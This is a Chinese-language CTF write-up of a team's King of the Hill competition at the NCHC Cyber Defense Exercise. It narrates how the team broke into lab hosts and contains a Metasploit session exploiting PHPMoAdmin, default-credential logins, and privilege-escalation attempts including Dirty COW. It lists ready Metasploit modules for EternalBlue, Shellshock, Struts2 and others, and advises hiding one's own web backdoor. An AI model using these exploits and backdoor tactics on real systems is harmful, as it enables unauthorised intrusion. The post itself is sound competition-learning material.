國網中心CDX經驗分享

本篇為投稿HITCON KB文章

國網中心舉辦了第一屆CDX
CDX(Cyber Defense Exercise)也就是網路資訊攻防競賽
雖然比賽很靠近期末大爆炸
但還是邀了實驗室的同學一起參加
這是我第一次參加King of the Hill類型的CTF
算是一個很特別經驗
因此把過程寫成這篇
分享給對CTF有興趣的朋友

King of the Hill 介紹

CTF(Capture the Flag)分成三種類型
  1. Jeopardy
    是大家最熟悉的解題拿Flag
    拿到Flag送出就可以得到分數
  2. Attack and Defense
    每個隊伍都有屬於自己的服務主機
    因此除了要攻擊對方的主機之外
    還需要修補自己的程式漏洞防止被攻擊
    如果成功攻擊 攻擊者會加分 被攻擊者會扣分
  3. King of the Hill
    主辦方提供多台主機
    參賽隊伍同時去攻擊這些主機
    攻進主機後在首頁放上隊伍的Flag就會開始計分
    計分的方式為每分鐘計分一次
    如果隊伍有佔領主機就會加分
    因此佔領越多主機 佔領時間越久 累積的分數也就越高
這次的比賽題目幾乎都是已經公開的漏洞
因使對於程式能力需求也比較低
不太需要逆向工程或是原始碼審查
而需要大量的工具去嗅探主機潛藏的漏洞
如果說找0day是用邏輯挖掘
那麼找已知漏洞就是用資訊挖掘了!
因此如何利用工具挖掘漏洞就是一個重點
不只要挖得到 還要挖得快

工具介紹

以下會介紹我們隊伍有使用到的工具

Kali Linux


這是一個Linux的OS
專門用來做滲透測試
裡面內建了許多工具
(下面沒有特別提到的工具就是內建)
offensive-security有提供VM版本可以快速架設起來
在設定VM時網路建議選擇Bridge
這樣可以直接與比賽的內網相連
這樣在建立反彈shell的時候會簡單很多
但也因此建議把預設密碼及以及防火牆打開
雖然比賽有VLAN切開各隊伍的網路
也有規定不能對對手攻擊
但防人之心不可無
主機如果反過來攻擊我們可就糟了

Zenmap


Zenmap是nmap的GUI版
GUI版不用記指令 快速上手
主要的功能為掃描電腦端口
可以快速地知道目標主機可能存在哪些服務

OpenVAS


最新版本的VM沒有內建
安裝需要非常久的時間
在安裝過程會產生admin密碼
記得要複製起來 方便之後更改
這是一套非常強大的弱點掃描工具
也是我們隊伍得分最大關鍵
他可以透過行為來分析目標主機
可以獲得相關資訊或是可能存在的漏洞

Metasploit


這是一個漏洞利用framework工具
當我們知道目標可能存在漏洞
我們可以利用對應的模組
透過Metasploit去進行驗證或是攻擊

Sparta


是一個滲透工具組合包
但我們主要是拿來進行暴力破解

比賽過程&題目

這次的比賽有100台機器
20種類型 每個類型5台
(這在比賽中才慢慢發現)
比賽一開始我們就用zenmap
對所有目標IP進行"快速"掃描
掃描到的資訊
開啟OpenVAS一樣進行全盤掃描
但OpenVAS需要花的時間非常多
第一天比賽結束前都還沒掃完
我們的策略是在攻進主機後
利用iptable把所有的port關掉
只留下80port來計分
上面的作法可能只適用於這次的比賽
很多的大型比賽會檢查服務的可用性
所以攻進去之後 需要去修補漏洞並且更新程式
如果服務沒有正常運作 分數也就不會計算
但這次比賽沒有這樣的規則
因此關掉服務不是一個好方法 但卻很有用XD

有解出來的題目

Kali

這一題完全就是意外
在開賽不到10分鐘就讓我們隊伍破蛋
我發現一台主機只開了22port
對於ssh沒有太大的印象有新漏洞
因此直接嘗試了手動猜密碼
(這是壞習慣 應該要開工具破的XD)
結果一下就猜到了root:toor
發現是一台kali主機沒有更改預設密碼
第一時間進去先改密碼
望向記分板才想到要寫辨識碼到網頁才會計分
kali主機內建apache 因此只要執行
service apache2 start
echo '$our_flag' > /var/www/html/index.html
就這樣拿到了一台主機
另外兩台是透過OpenVAS找到的
掃描結果如下

RDP

RDP(Remote Desktop Protocol)
通常用來遠端桌面操控Windows系統
這一題首頁上就給了
rdp:user/123456
登入後一樣先改密碼
但發現使用者的權限不足
沒辦法修改網頁的內容
可以得知這是一個Windows提權題目
系統是Win7 SP1
我們嘗試了幾個不同的payload
最後我們使用CVE-2016-0051成功提權
之後只要進去xampp的目錄下更改index.html成我們的flag就可以了

VNC

VNC(Virtual Network Computing)
通常用來遠端桌面操控Linux系統
這一題是OpenVAS掃到的
掃描結果如下

可以看到一樣是弱密碼的問題
我們登進去發現其實有其他隊伍已經進來過了
但他們沒有做正確的防守動作
(vnc的認證如果不是經由ssh 更改使用者密碼是沒用的)
因此我們換掉首頁後用iptable把服務關掉
用同樣的方式刷了四台主機
但沒想到過了一會兒只剩下三台
最後心得那邊會提到這個失誤的狀況

PHPMoAdmin

PHPMoAdmin是一個由PHP構成用來管理MongoDB的工具
一樣是由OpenVAS掃到的
掃描結果如下

可以看到這是CVE-2015-2208任意代碼執行的漏洞
Metasploit有exploit可以直接用
這裡示範一下大概要怎麼使用Metasploit
msf > search phpmoadmin

Matching Modules
================

   Name                                Disclosure Date  Rank       Description
   ----                                ---------------  ----       -----------
   exploit/multi/http/phpmoadmin_exec  2015-03-03       excellent  PHPMoAdmin 1.1.2 Remote Code Execution


msf > use exploit/multi/http/phpmoadmin_exec 
msf exploit(phpmoadmin_exec) > show options

Module options (exploit/multi/http/phpmoadmin_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI path of the PHPMoAdmin page
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   PHPMoAdmin


msf exploit(phpmoadmin_exec) > set RHOST 172.16.42.110
RHOST => 172.16.42.110
msf exploit(phpmoadmin_exec) > exploit
拿到了shell原本以為結束了
但沒想到才剛開始真正的難題
進去之後發現權限不足
才知道這一題還需要提權
提權首先要先了解系統版本
我印象中是Ubuntu14.04 內核版本4.4.0-53
用searchsploit查找相關的提權方式
root@kali:~# searchsploit linux 4.4 ubuntu
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
 Exploit Title                                                                                                                                                                  |  Path
                                                                                                                                                                                | (/usr/share/exploitdb/platforms/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC)                                                                                                                            | linux/dos/41457.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation                                                                                    | linux/local/39772.txt
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation                                                                           | lin_x86-64/local/40049.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Privilege Escalation (Metasploit)                                                                                                       | linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation                                                                                | lin_x86-64/local/40871.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation                                                                                                             | linux/local/41458.c
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
沒想到全部都沒有用…
最後嘗試之前通殺Linux的Dirty COW(CVE-2016-5195)
第一台主機成功佔據5秒
主機就crash了…
我們用了四個不同的exploit嘗試了另外4台
每個的最終結果都是crash…
原本要衝一波高分的
沒想到獵物全部都變成了垃圾主機(別人也攻不破)
回來研究才發現要選擇寫入
/etc/passwd

在getroot的方式是最穩定的 例如這個exploit
但沒有嘗試過也不曉得會不會成功
這個題型沒拿下來真的是我們隊伍的一大損失

沒解出來的題目

很多主機其實有看到漏洞
但因為其他隊伍已經攻佔了
很多都是推測跟想法
還有跟其他隊伍賽後的討論

XVWA

XVWA(Xtreme Vulnerable Web Application)
是一個用來練習Web Hacking的框架
可以在Github找到源碼
我們用了"OS Command Injection"打了進去
但權限不足 嘗試提權看看
版本是Ubuntu 16.04 內核4.4.0-75都是最新的…
賽後討論沒有一支隊伍可以提權成功
可能有其他的洞 或是有其他提權方式
但大家都覺得這是在釣0day

HFS

HFS(HTTP File Server)
用HTTP來管理遠端檔案系統

CVE-2014-6287
Metasploit:
exploit/windows/http/rejetto_hfs_exec

SMB-MS17

SMB(Server Message Block)
主要功能是使網路上的機器能夠共享資源

跟WannaCry一樣的洞
CVE-2017-0144
Metasploit:
exploit/windows/smb/ms17_010_eternalblue

Shellshock

Bash上的知名漏洞

CVE-2014-6271
Metasploit:
exploit/linux/http/advantech_switch_bash_env_exec

Vul Mail

PHPMailer-RCE
首頁上有一個Mail Form
討論得知要用CVE-2016-10033解出來

Struts2

Struts2是用於開發J2EE的WebApp框架
沒有聽到是用哪個洞
但推測是CVE-2017-5638
Metasploit:
exploit/multi/http/struts2_content_type_ognl

b374k

b374k是一個PHP構成的後門程式
一樣是暴力破解密碼
但首頁是看不出問題的
主要需要具備的能力有
  1. 網頁目錄掃描
  2. http的暴力破解

IRC

IRC(Internet Relay Chat)
是一種透過網路的即時聊天方式
CVE-2010-2075
Metasploit:
exploit/unix/irc/unreal_ircd_3281_backdoor

留言板

首頁是一個留言板
沒有XSS漏洞
分析是一個Honeypot
很多服務都有開但都是假的
據說刷得夠快就會計分
最後沒有隊伍拿下

tryit

首頁上只有"tryit"
一樣是Honeypot
很多服務都有開但都是假的
一樣最後沒有隊伍拿下

Bobby Blog

首頁上面寫了Windows 3.1
聽到最酷的解法是暴力解出FTP Administrator密碼
正常解法應該用user帳號暴力就可以登入
總而言之都是弱密碼XD

心得

分析方面

賽後發現用zenmap掃描所有目標是不太好的
掃描全部的port浪費太多的時間
應該針對有特定弱點的port先找出來分析
ex:21(ftp),445(smb),8080(hfs)…等等

防守方面

其中一台原本在我們手上的機器
我們在打進去後換了首頁就用iptable鎖死了
沒想到其實這台主機已經被別人藏了web後門
這台主機就這樣被別人搶了回去…QQ
因此以後記得要檢查web後門
然後也要自己藏web後門再利用iptable鎖上

技巧方面

雖然有記分板可以看到哪些隊伍佔據了哪些主機
但記分板上沒有ip位置 因此我們浪費很多時間在詢問主機的存活
如果設計一個monitor來監看這些主機的狀態
一定能大大的幫助我們找尋下一個攻擊目標
另外這次還有非常多時間浪費在打指令上
如果能加強shellscript相關技能
這次的比賽一定能更輕鬆

總結

這次的題目有相當多的弱密碼
相信這是想告訴我們弱密碼其實比我們想的還嚴重
除此之外很多已知漏洞都還存在現實中
漏洞不會自己消失 因此系統更新很重要
感謝國網中心
花了很多心思去設計題目
還有超棒的計分板介面
感謝我的隊友
在期末大爆炸還要被我抓來討論戰術
在比賽中也不斷的幫助我
最後附上比賽最終盤面
We are PentaKill

留言